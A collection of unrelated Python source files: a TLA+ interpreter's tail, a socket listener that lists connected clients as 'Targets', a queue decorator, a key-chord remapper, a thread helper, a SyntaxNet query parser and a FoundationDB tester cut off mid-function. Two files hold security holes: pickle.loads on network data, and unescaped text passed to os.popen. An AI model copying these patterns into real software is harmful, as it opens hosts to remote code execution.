"\\cup": InfixWrapper(),
"\\union": InfixWrapper(),
"DOMAIN": OutfixWrapper(),
"~": OutfixWrapper(),
"\\lnot": OutfixWrapper(),
"\\neg": OutfixWrapper(),
"UNION": OutfixWrapper(),
"SUBSET": OutfixWrapper()
}
wrappers["Naturals"] = {
"<": InfixWrapper(),
">": InfixWrapper(),
">=": InfixWrapper(),
"\\geq": InfixWrapper(),
"<=": InfixWrapper(),
"=<": InfixWrapper(),
"\\leq": InfixWrapper(),
"..": InfixWrapper(),
"+": InfixWrapper(),
"-": InfixWrapper(),
"*": InfixWrapper(),
"/": InfixWrapper(),
"\\div": InfixWrapper(),
"%": InfixWrapper(),
"^": InfixWrapper(),
}
class LenWrapper(Wrapper):
def __str__(self):
return "Sequences!Len(_)"
def eval(self, id, args):
assert len(args) == 1
assert isinstance(args[0], tuple) or isinstance(args[0], str)
return len(args[0])
class ConcatWrapper(Wrapper):
def __str__(self):
return "Sequences!Concat(_)"
def eval(self, id, args):
assert len(args) == 2
return simplify(tuple(list(args[0]) + list(args[1])))
class AppendWrapper(Wrapper):
def __str__(self):
return "Sequences!Append(_)"
def eval(self, id, args):
assert len(args) == 2
return simplify(tuple(list(args[0]) + [args[1]]))
wrappers["Sequences"] = {
"Len": LenWrapper(),
"\\o": ConcatWrapper(),
"Append": AppendWrapper()
}
class AssertWrapper(Wrapper):
def __str__(self):
return "TLC!Assert(_, _)"
def eval(self, id, args):
assert len(args) == 2
assert args[0], args[1]
return True
class JavaTimeWrapper(Wrapper):
def __str__(self):
return "TLC!JavaTime()"
def eval(self, id, args):
assert len(args) == 0
return int(time.time() * 1000)
class PrintWrapper(Wrapper):
def __str__(self):
return "TLC!Print(_)"
def eval(self, id, args):
assert len(args) == 2
print(str(convert(args[0])), end="")
return args[1]
class PrintTWrapper(Wrapper):
def __str__(self):
return "TLC!TPrint(_)"
def eval(self, id, args):
assert len(args) == 1
print(str(convert(args[0])))
return True
class RandomElementWrapper(Wrapper):
def __str__(self):
return "TLC!RandomElement(_)"
def eval(self, id, args):
assert len(args) == 1
lst = list(args[0])
r = random.randrange(len(lst))
return lst[r]
class ToStringWrapper(Wrapper):
def __str__(self):
return "TLC!ToString(_)"
def eval(self, id, args):
assert len(args) == 1
return str(format(args[0]))
TLCvars = {}
class TLCSetWrapper(Wrapper):
def __str__(self):
return "TLC!TLCSet(_, _)"
def eval(self, id, args):
assert len(args) == 2
TLCvars[args[0]] = args[1]
return True
class TLCGetWrapper(Wrapper):
def __str__(self):
return "TLC!TLCGet(_)"
def eval(self, id, args):
assert len(args) == 1
return TLCvars[args[0]]
wrappers["TLC"] = {
"Assert": AssertWrapper(),
"JavaTime": JavaTimeWrapper(),
"Print": PrintWrapper(),
"PrintT": PrintTWrapper(),
"RandomElement": RandomElementWrapper(),
"TLCSet": TLCSetWrapper(),
"TLCGet": TLCGetWrapper(),
"ToString": ToStringWrapper(),
}
class JWaitWrapper(Wrapper):
def __str__(self):
return "TLC!JWait(_)"
def eval(self, id, args):
assert len(args) == 1
global waitset
assert args[0] not in waitset
waitset.add(args[0])
return True
class JSignalReturnWrapper(Wrapper):
def __str__(self):
return "TLC!JSignalReturn(_,_)"
def eval(self, id, args):
assert len(args) == 2
global signalset
signalset.add(args[0])
return args[1]
wrappers["TLC"] = {
"JWait": JWaitWrapper(),
"JSignalReturn": JSignalReturnWrapper()
}
import threading
class netReceiver(threading.Thread):
def __init__(self, src, mux):
threading.Thread.__init__(self)
self.src = src
self.mux = mux
def run(self):
global IO_inputs
(skt, addr) = self.src
(host, port) = addr
all=[]
while True:
data = skt.recv(8192)
if not data:
break
all.append(data)
with lock:
msg = pickle.loads(b''.join(all))
if verbose:
print("netReceiver", addr, msg)
IO_inputs.append(FrozenDict({
"intf": "tcp", "mux": self.mux, "data": msg}
))
cond.notify()
class netSender(threading.Thread):
def __init__(self, mux, msg):
threading.Thread.__init__(self)
self.mux = mux
self.msg = msg
def run(self):
parts = self.mux.split(":")
dst = (parts[0], int(parts[1]))
if verbose:
print("netSender", dst, self.msg)
while True:
try:
skt = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
skt.connect(dst)
skt.sendall(pickle.dumps(self.msg))
skt.close()
break
except ConnectionRefusedError:
time.sleep(0.5)
class netServer(threading.Thread):
def __init__(self, mux):
threading.Thread.__init__(self)
self.mux = mux
def run(self):
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
skt.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
parts = self.mux.split(":")
skt.bind((parts[0], int(parts[1])))
skt.listen()
while True:
client = skt.accept()
netReceiver(client, self.mux).start()
IO_inputs = []
IO_outputs = []
IO_running = set()
class Reader(threading.Thread):
def run(self):
global IO_inputs
while True:
inp = input()
with lock:
IO_inputs.append(FrozenDict(
{ "intf": "fd", "mux": "stdin", "data": inp}
))
cond.notify()
def flush():
global IO_outputs
for x in IO_outputs:
d = x.d
if d["intf"] == "fd":
if d["mux"] == "stdout":
print(d["data"], end="")
sys.stdout.flush()
else:
assert d["mux"] == "stderr"
print(d["data"], end="", file=sys.stderr)
sys.stderr.flush()
elif d["intf"] == "tcp":
netSender(d["mux"], d["data"]).start()
else:
assert d["intf"] == "local"
IO_inputs.append(x)
global waitset, signalset, cond
wakeup = False
for x in signalset:
if x in waitset:
waitset.remove(x)
wakeup = True
if wakeup:
cond.notifyAll()
def drain():
global IO_outputs, signalset
IO_outputs = []
signalset = set()
class IOPutWrapper(Wrapper):
def __str__(self):
return "IOUtils!IOPut(_)"
def eval(self, id, args):
assert len(args) == 3
IO_outputs.append(FrozenDict(
{ "intf": args[0], "mux": args[1], "data": args[2] }
))
return True
class IOWaitWrapper(Wrapper):
def __str__(self):
return "IOUtils!IOWait(Pattern(_))"
def eval(self, id, args):
global IO_running
assert len(args) == 2
# First check if there's already input
for x in IO_inputs:
assert isinstance(x, FrozenDict)
d = x.d
if d["intf"] == args[0] and d["mux"] == args[1]:
return True
# If not, make sure a reader/receiver is running
if (args[0], args[1]) not in IO_running:
if args[0] == "fd" and args[1] == "stdin":
Reader().start()
elif args[0] == "tcp":
netServer(args[1]).start()
else:
assert args[0] == "local"
IO_running.add((args[0], args[1]))
return False
class IOGetWrapper(Wrapper):
def __str__(self):
return "IOUtils!IOGet(Pattern(_))"
def eval(self, id, args):
assert len(args) == 2
for x in IO_inputs:
assert isinstance(x, FrozenDict)
d = x.d
if d["intf"] == args[0] and d["mux"] == args[1]:
IO_inputs.remove(x)
return d["data"]
assert False
wrappers["IOUtils"] = {
"IOPut": IOPutWrapper(),
"IOWait": IOWaitWrapper(),
"IOGet": IOGetWrapper()
}
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Main program
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
import sys
import time
import socket
import pickle
import getopt
lock = threading.Lock()
cond = threading.Condition(lock)
maxcount = None
def usage():
print("Usage: pluspy [options] tla-module")
print(" options: ")
print(" -c cnt: max #times that Next should be evaluated")
print(" -h: help")
print(" -i operator: Init operator (default Init)")
print(" -n operator: Next operator (default Next)")
print(" -P path: module directory search path")
print(" -s: silent")
print(" -S seed: random seed")
print(" -v: verbose output")
exit(1)
def handleOutput(output):
d = convert(output)
if d["intf"] == "fd":
if d["mux"] == "stdout":
print(d["data"], end="")
else:
assert d["mux"] == "stderr"
print(d["data"], end="", file=sys.stderr)
else:
print("GOT OUTPUT", d)
assert False
step = 0
waitset = set()
signalset = set()
# The Next operator, possibly with arguments separated by "%"
def run(pp, next):
global maxcount, verbose, silent, step, waitset
args = next.split("%")
assert 1 <= len(args) and len(args) <= 2
if len(args) == 1:
arg = ""
elif all(isnumeral(c) for c in args[1]):
arg = int(args[1])
else:
arg = args[1]
while True:
with lock:
tries = 0
flush() # do all the outputs
drain() # remove all outputs
while not pp.next(args[0], arg):
tries += 1
if verbose:
print("TRY AGAIN", tries, flush=True)
if tries > 100:
cond.wait(0.2)
drain()
if maxcount != None and step >= maxcount:
break
if maxcount != None and step >= maxcount:
break
if pp.unchanged():
if not silent:
print("No state change after successful step", flush=True)
break
tries = 0
if not silent:
print("Next state:", step, format(pp.getall()), flush=True)
step += 1
# To implement JWait/JSignalReturn
while arg in waitset:
cond.wait(0.2)
def main():
global verbose, silent, maxcount, pluspypath
if os.environ.get("PLUSPYPATH") != None:
pluspypath = os.environ["PLUSPYPATH"]
# Get options. First set default values
initOp = "Init"
nextOps = set()
seed = None
try:
opts, args = getopt.getopt(sys.argv[1:],
"c:hi:n:P:sS:v",
["help", "init=", "next=", "path=", "seed="])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in { "-v" }:
verbose = True
elif o in { "-c" }:
maxcount = int(a)
elif o in { "-h", "--help" }:
usage()
elif o in { "-i", "--init" }:
initOp = a
elif o in { "-n", "--next" }:
nextOps.add(a)
elif o in { "-P", "--path" }:
pluspypath = a
elif o in { "-s" }:
silent = True
elif o in { "-S", "--seed" }:
seed = int(a)
else:
assert False, "unhandled option"
if len(args) != 1:
usage()
pp = PlusPy(args[0], seed=seed)
mod = pp.mod
if verbose:
print("Loaded module", mod.name)
if verbose:
print()
print("---------------")
print("Initialize state")
print("---------------")
pp.init(initOp)
if not silent:
print("Initial context:", format(pp.getall()))
if verbose:
print()
print("---------------")
print("Run behavior for", maxcount, "steps")
print("---------------")
if len(nextOps) != 0:
threads = set()
for next in nextOps:
t = threading.Thread(target=run, args=(pp, next))
threads.add(t)
t.start()
for t in threads:
t.join()
else:
run(pp, "Next")
if not silent:
print("MAIN DONE")
exit(0)
if __name__ == "__main__":
main()
|
mp_server.py
|
import multiprocessing
import os
import Queue
import signal
import socket
import sys
from multiprocessing import Manager
import time
# Process 1
print "Start PID: ", os.getpid()
host = ''
port = 443
i = 0
def connect_s():
global s
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print msg
exit()
def bind_s():
try:
s.bind((host, port))
except socket.error, msg:
print msg
exit()
def listen_s():
try:
s.listen(3)
except socket.error, msg:
print msg
exit()
def client_p(conn):
print "PID: ", os.getpid()
print "Connected to %s on port %s." % (addr[0], addr[1])
while True:
data = conn.recv(1024)
if data:
print data
else:
print "client_p() Error"
print "Removing Client: %s %s" % (addr[0], addr[1])
# remove() == true except for debugging on 127.0.0.1,
# if 3x localhost connects, server will delete the
# first 127.0.0.1 found on list, regardless if on client #3.
l.remove(str(addr[0]))
l.remove(str(addr[1]))
print l
break
# Accept
def asc(l):
global i
global conn
global addr
while True:
try:
conn, addr = s.accept()
time.sleep(1)
p = multiprocessing.Process(target=client_p, args=(conn, )) #P3
p.start()
conn.send("1")
l.append(str(addr[0]))
l.append(str(addr[1]))
i += 1
print "\nTotal Connection Made: %d" % i
except socket.error:
print "Cannot accept Target."
time.sleep(1)
# Process 1 - Main menu loop
# Process 2 - asc(l) (Accept Clients Function)
# Process 3 - client_p (Client Intro)
# Process 4-9 - New Client/Server connections
connect_s()
bind_s()
listen_s()
l = Manager().list()
wp = multiprocessing.Process(target=asc, args=(l, )) # Process 2
wp.start()
while True:
print "\nMenu\n====\n1. Show Targets\n2. Choose Single Target\n3. Quit"
read = raw_input("\n:> ")
if read == "1":
print "Client Target List\n=================="
try:
l[0]
l[1]
print "IP: %s\tPort: %s" % (l[0], l[1])
except:
continue
try:
l[2]
l[3]
print "IP: %s\tPORT: %s" % (l[2], l[3])
except:
continue
try:
l[4]
l[5]
print "IP: %s\tPORT: %s" % (l[4], l[5])
except:
continue
raw_input("Press Enter")
os.system("clear")
elif read == "2":
print "Select a Target:"
c = 1
n = 0
while n < 6:
try:
l[n]
except:
continue
print "%d. IP: %s\tPORT: %s" % (c, l[n], l[n+1])
try:
l[n+2]
except:
break
c += 1
n += 2
opt2read = raw_input("Choose a Target: > ")
if opt2read == "1":
try:
l[0]
l[1]
print "\nIP: %s Port: %s" % (l[0], l[1])
except:
print "Error: User Input"
elif opt2read == "2":
try:
l[2]
l[3]
print "\nIP: %s PORT: %s" % (l[2], l[3])
except:
print "Error: User Input"
elif opt2read == "3":
try:
l[4]
l[5]
print "\nIP: %s PORT: %s" % (l[4], l[5])
except:
print "Error User Input"
raw_input("Press Enter")
os.system("clear")
elif read == "3":
print "Exit."
break
time.sleep(1)
os.system("clear")
sys.exit()
|
beta.py
|
import os, time
from functools import wraps, partial, lru_cache
from logging import exception, root
import multiprocessing
import multiprocessing.queues
from strict_functions import overload
from threading import Thread
from multiprocessing import Process
from time import sleep
from atexit import register
from gc import collect
from signal import signal, SIGINT, SIGKILL
from os import kill, getpid
import threading
@partial(signal, SIGINT)
def kill_process(*args):
kill(getpid(), SIGKILL)
IterableQueue = multiprocessing.queues.JoinableQueue
def _iter(self):
while True:
yield self.get()
IterableQueue.__iter__ = _iter
IterableQueue.__len__ = IterableQueue.qsize
class STORAGE(object):
settings={
'maxsize':0,
'workers':1,
'restart':True,
'logger':exception
}
queues=[]
threads=[]
def queue_sizes():
return [len(q) for q in STORAGE.queues]
def finish_tasks(kill_threads=False):
# wait for all tasks to finish
while sum(len(q) for q in STORAGE.queues):
#print('+',sum(queue_sizes()))
#print(queue_sizes())
sleep(0.1)
# then kill all threads
if kill_threads:
for t in STORAGE.threads:
t.terminate()
STORAGE.threads = []
STORAGE.queues = []
collect(1)
register(partial(finish_tasks, True))
def start_queue_worker(fn, q, restart, logger):
assert callable(fn)
assert isinstance(q, IterableQueue)
assert isinstance(restart, bool)
assert callable(logger)
if restart:
def runner(fn, q, logger):
try:
while 1:
try:
fn(q)
except Exception as ex:
logger(ex)
sleep(0.1)
finally:
kill(getpid(), SIGKILL)
else:
def runner(fn, q, logger):
try:
fn(q)
except Exception as ex:
logger(ex)
finally:
kill(getpid(), SIGKILL)
t=Process(target=runner, args=[fn, q, logger], daemon=False)
STORAGE.threads.append(t)
t.start()
@overload
def queued(firin, settings={}):
assert isinstance(settings, dict)
assert callable(firin)
if not settings:
settings=STORAGE.settings
q = IterableQueue(maxsize=settings['maxsize'], ctx=multiprocessing.get_context())
STORAGE.queues.append(q)
for _ in range(settings['workers']):
start_queue_worker(
firin,
q,
settings['restart'],
settings['logger']
)
@wraps(firin)
def imma_firin(mah_lazarz):
''' this replacces the function with q.put but preserves docstrings of the wrapped function '''
q.put(mah_lazarz)
return imma_firin
@overload
def queued(maxsize=0, workers=1, restart=True, logger=exception):
assert isinstance(maxsize, int) and maxsize>=0
assert isinstance(workers, int) and workers>0
assert isinstance(restart, bool)
assert callable(logger)
return partial(
queued,
settings={
'maxsize':maxsize,
'workers':workers,
'restart':restart,
'logger':logger
})
if __name__ == '__main__':
@queued(workers=10)
def add(queued_items):
total = 0
for i in queued_items:
total += i
print(total, os.getpid(), os.getppid())
time.sleep(0.1)
@queued(workers=10)
def add_parallel(queued_items):
total = 0
for i in queued_items:
sleep(3)
total += i
print(total, '-', os.getpid(), os.getppid())
add(i)
for i in range(30):
add(1)
add_parallel(1)
add(1)
add(1)
add(1)
print('finishing')
finish_tasks()
print('finished')
exit()
|
keyfilter.py
|
import sys
import os
import re
import threading
from queue import Queue
from pprint import pprint
event_sink = None
output_queue = Queue()
key_buffer = []
subsitution_table = {}
modifer_key_set = set()
modifer_key_set.add("leftctrl")
modifer_key_set.add("rightctrl")
modifer_key_set.add("leftalt")
modifer_key_set.add("rightalt")
def clean_spaces(x):
return re.sub(r"\s+", " ", x)
def kill_signal_handler():
global output_queue
output_queue.put("exit")
def output_loop():
global output_queue
while True:
input_event = output_queue.get()
if input_event == "exit":
return
event_sink(input_event)
def set_event_sink_and_start_producer_thread(_sink):
global event_sink
event_sink = _sink
t = threading.Thread(target=output_loop)
t.start()
def apply_substitutions():
global output_queue
global key_buffer
global modifer_key_set
global subsitution_table
pattern = []
for event in key_buffer:
key = event["key"]
state = event["state"]
if state != "down":
continue
pattern.append(key)
pattern = tuple(sorted(pattern))
if pattern not in subsitution_table:
for event in key_buffer:
output_queue.put(event)
else:
substitution = subsitution_table[pattern]
for key in substitution:
event = {"key": key, "state": "down"}
output_queue.put(event)
event = {"key": key, "state": "up"}
output_queue.put(event)
del key_buffer[:]
def input_event(input_event):
global output_queue
global key_buffer
global modifer_key_set
state = input_event["state"]
# no repeating keys for now
if state == "hold":
return
# modifier keys get immediate output priority, cannot be chorded for
# example, I hold down Ctrl while doing Ctrl+C and Ctrl+V and not let go
if input_event["key"] in modifer_key_set:
output_queue.put(input_event)
return
key_buffer.append(input_event)
charges = {}
for event in key_buffer:
key = event["key"]
state = event["state"]
if key not in charges:
charges[key] = 0
if state == "down":
charges[key] += 1
elif state == "up":
charges[key] -= 1
total_charge = 0
for key, charge in charges.items():
total_charge += charge
if total_charge == 0:
apply_substitutions()
def load_config_file(path=None):
if not path:
path = os.path.join(os.path.dirname(__file__), "raymond.kohord")
with open(path, "r") as f:
lines = f.readlines()
lines = map(lambda x: x.strip(), lines)
lines = filter(lambda x: x, lines)
lines = filter(lambda x: not x.startswith("#"), lines)
lines = list(lines)
num_entries = len(lines) // 2
if num_entries % 2 != 0:
print(".kohord config file malformed")
sys.exit(1)
for i in range(num_entries):
lhs = clean_spaces(lines[i * 2 + 0])
rhs = clean_spaces(lines[i * 2 + 1])
pattern = tuple(sorted(lhs.split(" ")))
sub = rhs.split(" ")
if pattern in subsitution_table:
print(".kohord file contains duplicated pattern")
sys.exit(1)
subsitution_table[pattern] = sub
pprint(subsitution_table)
|
REThread.py
|
'''Enhanced Thread with support for return values and exception propagation.'''
# Copyright (C) 2007 Canonical Ltd.
# Author: Martin Pitt <martin.pitt@ubuntu.com>
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version. See http://www.gnu.org/copyleft/gpl.html for
# the full text of the license.
import threading, sys
class REThread(threading.Thread):
'''Thread with return values and exception propagation.'''
def __init__(self, group=None, target=None, name=None, args=(), kwargs={},
verbose=None):
'''Initialize Thread, identical to threading.Thread.__init__().'''
threading.Thread.__init__(self, group, target, name, args, kwargs,
verbose)
self.__target = target
self.__args = args
self.__kwargs = kwargs
self._retval = None
self._exception = None
def run(self):
'''Run target function, identical to threading.Thread.run().'''
if self.__target:
try:
self._retval = self.__target(*self.__args, **self.__kwargs)
except:
if sys:
self._exception = sys.exc_info()
def return_value(self):
'''Return value from target function.
This can only be called after the thread has finished, i. e. when
isAlive() is False and did not terminate with an exception.
'''
assert not self.isAlive()
assert not self._exception
return self._retval
def exc_info(self):
'''Return (type, value, traceback) of the exception caught in run().'''
return self._exception
def exc_raise(self):
'''Raise the exception caught in the thread.
Do nothing if no exception was caught.
'''
if self._exception:
raise self._exception[0], self._exception[1], self._exception[2]
# Python 3:
#raise self._exception[0](self._exception[1]).with_traceback(self._exception[2])
#
# Unit test
#
if __name__ == '__main__':
import unittest, time, traceback
def idle(seconds):
'''Test thread to just wait a bit.'''
time.sleep(seconds)
def div(x, y):
'''Test thread to divide two numbers.'''
return x / y
class _T(unittest.TestCase):
def test_return_value(self):
'''return value works properly.'''
t = REThread(target=div, args=(42, 2))
t.start()
t.join()
# exc_raise() should be a no-op on successful functions
t.exc_raise()
self.assertEqual(t.return_value(), 21)
self.assertEqual(t.exc_info(), None)
def test_no_return_value(self):
'''REThread works if run() does not return anything.'''
t = REThread(target=idle, args=(0.5,))
t.start()
# thread must be joined first
self.assertRaises(AssertionError, t.return_value)
t.join()
self.assertEqual(t.return_value(), None)
self.assertEqual(t.exc_info(), None)
def test_exception(self):
'''exception in thread is caught and passed.'''
t = REThread(target=div, args=(1, 0))
t.start()
t.join()
# thread did not terminate normally, no return value
self.assertRaises(AssertionError, t.return_value)
self.assertTrue(t.exc_info()[0] == ZeroDivisionError)
exc = traceback.format_exception(t.exc_info()[0], t.exc_info()[1],
t.exc_info()[2])
self.assertTrue(exc[-1].startswith('ZeroDivisionError'), 'not a ZeroDivisionError:' + str(exc))
self.assertTrue(exc[-2].endswith('return x / y\n'))
def test_exc_raise(self):
'''exc_raise() raises caught thread exception.'''
t = REThread(target=div, args=(1, 0))
t.start()
t.join()
# thread did not terminate normally, no return value
self.assertRaises(AssertionError, t.return_value)
raised = False
try:
t.exc_raise()
except:
raised = True
e = sys.exc_info()
exc = traceback.format_exception(e[0], e[1], e[2])
self.assertTrue(exc[-1].startswith('ZeroDivisionError'), 'not a ZeroDivisionError:' + str(e))
self.assertTrue(exc[-2].endswith('return x / y\n'))
self.assertTrue(raised)
unittest.main()
|
parse_query.py
|
# Copyright 2018 Comcast Cable Communications Management, LLC
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import sys
import stat
import numpy as np
import json
import time
from itertools import izip
from multiprocessing import Process
from os import path
__author__ = 'mtanve200'
def parse_query_with_syntaxnet(query_generator,
start_index=0,
end_index=np.inf,
shellname='syntaxnet/demo.sh'):
'''
Parses a query using syntaxnet. It breaks the input stream into mini batches of 1000
queries and passes through the syntaxnet. It extracts two different styles of the parse
tree. It reads the whole input and returns the trees as a list. Do do not feed an
infinitely long stream because that will overflow the memory.
It requires to be called from the /root/models/syntaxnet/
folder of the syntaxnet docker
:param query_generator: An iterator of (index, query) tuples
:param start_index: From which item it will start parsing. Note, it does not consider the index
of the data in the query file. It considers the idex of the data as they arrive
:param end_index: Where it will stop reading. Same convention to start_index applies.
Note: It is utmost important to remove the last element (a blank line)
from the output of parse_query_with_syntaxnet function, before passing
it to the segment_gen function. Otherwise, it will create an invalid
tree for the last element of the batch due to the blank line.
'''
assert start_index < end_index, 'Start index cannot be greater than end index'
allparsetreelist = []
orig_idx_list = []
container = []
idx_container = []
def process_single(idx_container, container, orig_idx, aquery):
container.append(aquery)
idx_container.append(orig_idx)
def write_to_disk(idx_container, container):
argtxt_ = '\n'.join(container)
output = os.popen('echo ' + '"' + argtxt_ + '"' + ' | ' + shellname).read().split('\n')
allparsetreelist.extend(output)
orig_idx_list.extend(idx_container)
# Iterate over the queries and the save the parsed tree
for i, (orig_idx, aquery) in enumerate(query_generator):
if i < start_index:
continue
elif start_index <= i <= end_index:
# put the first query in a container
process_single(idx_container, container, orig_idx, aquery)
if len(container) % 1000 == 999:
# The container is full. Process the queries within the container
write_to_disk(idx_container, container)
container = []
idx_container = []
elif i > end_index:
break
if len(container) > 0:
write_to_disk(idx_container, container)
return allparsetreelist, orig_idx_list
def make_new_shell():
# Prepare a shell for conll style dependency tree
# This function must run within the docker image of syntaxnet
st = os.stat('syntaxnet/demo.sh')
os.chmod('syntaxnet/demo.sh', 0o777)
with open('syntaxnet/demo.sh') as f:
txt = f.read()
with open('syntaxnet/demo_conll.sh', 'wb') as f:
f.write(txt[:-107] + '\n')
st = os.stat('syntaxnet/demo_conll.sh')
os.chmod('syntaxnet/demo_conll.sh', st.st_mode | stat.S_IEXEC)
def query_gen(inpfile):
'''
Construct an iterator to feed the queries from the inpfile
'''
# Start reading and yieling the queries
with open(inpfile) as f:
for aline in f:
spltline = aline.strip().split('\t')
yield int(spltline[0]), spltline[1]
def abstract_query_gen(inpfile):
'''
It is similar to query_gen. The only difference is, it reads from the abstract query file,
thus processes and transmits the abstract queries accordingly.
'''
# Start reading and yieling the queries
with open(inpfile) as f:
for aline in f:
spltline = aline.strip().split('\t')
yield int(spltline[0]), spltline[2]
def input_gen(filename):
'''
Makes an iterator from the file. This is useful when the output
of the syntaxnet is saved as a file and you take that file to
pass through the segment_gen function as an iterator.
'''
with open(filename) as f:
for aline in f:
if aline[0] == ' ':
yield aline[1:].rstrip()
else:
yield aline.rstrip()
def segment_gen(inp_gen):
'''
Segments the stream from the output of syntaxnet into
one input and one parse tree at a time. The parse tree
is given in a json format.
:param inp_gen: input iterator
'''
retval = ''
parsetree = ''
currlevel = -1
count = 0
for inp in inp_gen:
# Transforming the tree with states "Input", "Parse", and
# the normal tree parsing.
if inp.startswith('Input'):
# if there is something in retval from previous iterations
if retval:
# Close off the tree
retval += parsetree + ']' * (currlevel + 2)
yield retval
# Reset the value
retval = ''
# There is nothing from previous iterations, so start making
retval += inp[6:].strip() + '\t'
elif inp.startswith('Parse'):
# start of the parse tree
parsetree = ''
elif not inp:
# if the input is empty, just skip it
continue
else:
parse_out, currlevel = jsonify_tree(inp, currlevel)
# Debug
# print inp,parse_out,currlevel
parsetree += parse_out
if retval and parsetree:
# Close off the last tree
retval += parsetree + ']' * (currlevel + 2)
yield retval
def segment_gen_conll(inp_gen):
'''
similar to segment_gen, but works on conll style parse tree
'''
aparse = []
for inp in inp_gen:
if not inp:
yield json.dumps(aparse)
aparse = []
else:
aparse.append(inp.split('\t')[1:])
def jsonify_tree(inp, currlevel):
'''
Converts from syntaxnet tree structure to json tree structure.
'''
nxtlevel = inp.find('+--') / 4
if nxtlevel == -1:
# Root Node
return '[ ' + '"' + inp + '"', -1
elif nxtlevel == currlevel + 1:
# Subtree of previous node
return ', [ ' + '"' + inp[nxtlevel * 4 + 4:].strip() + '"', nxtlevel
elif nxtlevel == currlevel:
# Another node in the same level of the tree
return ', ' + '"' + inp[nxtlevel * 4 + 4:].strip() + '"', nxtlevel
elif nxtlevel < currlevel:
# At least one subtree finished
leveljump = currlevel - nxtlevel
return ']' * leveljump + ',' + '"' + inp[nxtlevel * 4 + 4:].strip() + '"', nxtlevel
else:
# nxtlevel>currlevel+1
# Impossible situation. Something is wrong
raise IOError('More than one level jump forward. At least one tree node must be missing.')
def pipeline(inpfile, outfile,
start_idx=0,
end_idx=np.inf,
stream_generator_function=query_gen):
'''
This is the complete pipeline for parsing the (raw or abstract) queries from the queryfile
(query_analysis/data/non_titles.queries) using syntaxnet and producing the outfile.
:param outfile: The name (with path) of the file where the output will be written
:param start_idx: Element in the stream where the parsing should start
:param end_idx: Element in the stream where the parsing should stop
:param stream_generator_function: Determines whether the queries or the abstract queries
would be processed for parsing. As the formats of the query and abstract files are different,
the generator functions automatically reads the corresponding file formats.
This argument takes only the following two generator functions:
a) query_gen
b) abstract_query_gen
'''
# Normal parse tree
qgen1 = stream_generator_function(inpfile)
output_tree, orig_idx_list = parse_query_with_syntaxnet(qgen1, start_index=start_idx, end_index=end_idx)
tree_gen = segment_gen(output_tree)
# Conll style parse tree
qgen2 = stream_generator_function(inpfile)
output_conll, orig_idx_list = parse_query_with_syntaxnet(qgen2, start_index=start_idx, end_index=end_idx,
shellname='syntaxnet/demo_conll.sh')
conll_gen = segment_gen_conll(output_conll)
# Save to file
with open(outfile, 'wb') as f:
for (i, tree, conll) in izip(orig_idx_list, tree_gen, conll_gen):
f.write(tree + '\t' + conll + '\t' + str(i) + '\n')
f.flush()
if __name__ == '__main__':
make_new_shell()
abstract = False
inpfile = sys.argv[1]
outfile = sys.argv[2]
outdir = path.dirname(os.path.abspath(outfile))
if not os.path.exists(outdir):
raise OSError("Output directory does not exist: %s" % outdir)
def file_len(fname):
i = -1
with open(fname) as f:
for i, l in enumerate(f):
pass
return i + 1
line_cnt = file_len(inpfile)
print(sys.argv)
print(line_cnt)
if abstract:
for i in range(0, line_cnt, 1000):
p = Process(target=pipeline, args=(inpfile, outfile + str(i), i, i + 999, abstract_query_gen))
p.start()
time.sleep(5)
else:
for i in range(0, line_cnt, 1000):
p = Process(target=pipeline, args=(inpfile, outfile + str(i), i, i + 999))
p.start()
time.sleep(5)
|
tester.py
|
#!/usr/bin/python
#
# tester.py
#
# This source file is part of the FoundationDB open source project
#
# Copyright 2013-2018 Apple Inc. and the FoundationDB project authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import ctypes
import math
import sys
import os
import struct
import threading
import time
import random
import time
import traceback
import json
sys.path[:0] = [os.path.join(os.path.dirname(__file__), '..')]
import fdb
fdb.api_version(int(sys.argv[2]))
from fdb import six
from fdb.impl import strinc
import fdb.tuple
from directory_extension import DirectoryExtension
from cancellation_timeout_tests import test_timeouts
from cancellation_timeout_tests import test_db_timeouts
from cancellation_timeout_tests import test_cancellation
from cancellation_timeout_tests import test_retry_limits
from cancellation_timeout_tests import test_db_retry_limits
from cancellation_timeout_tests import test_combinations
from size_limit_tests import test_size_limit_option, test_get_approximate_size
from tenant_tests import test_tenants
random.seed(0)
if len(sys.argv) == 4:
db = fdb.open(sys.argv[3])
else:
db = fdb.open()
class Stack:
def __init__(self):
self.stack = []
def __repr__(self):
return repr(self.stack)
def __str__(self):
return str(self.stack)
def __len__(self):
return len(self.stack)
def __getitem__(self, idx):
return self.stack[idx]
def __setitem__(self, idx, val):
self.stack[idx] = val
def push(self, idx, val):
self.stack.insert(0, (idx, val))
def pop(self, count=None, with_idx=False):
c = count
if c is None:
c = 1
raw = self.stack[:c]
del self.stack[:c]
for i in range(len(raw)):
if isinstance(raw[i][1], fdb.Future):
try:
val = raw[i][1].wait()
if val is None or (hasattr(val, 'present') and not val.present()):
raw[i] = (raw[i][0], b'RESULT_NOT_PRESENT')
else:
raw[i] = (raw[i][0], val)
except fdb.FDBError as e:
# print('ERROR: %r' % e)
raw[i] = (raw[i][0], fdb.tuple.pack((b'ERROR', str(e.code).encode('ascii'))))
if count is None:
if with_idx:
return raw[0]
else:
return raw[0][1]
else:
if with_idx:
return raw
else:
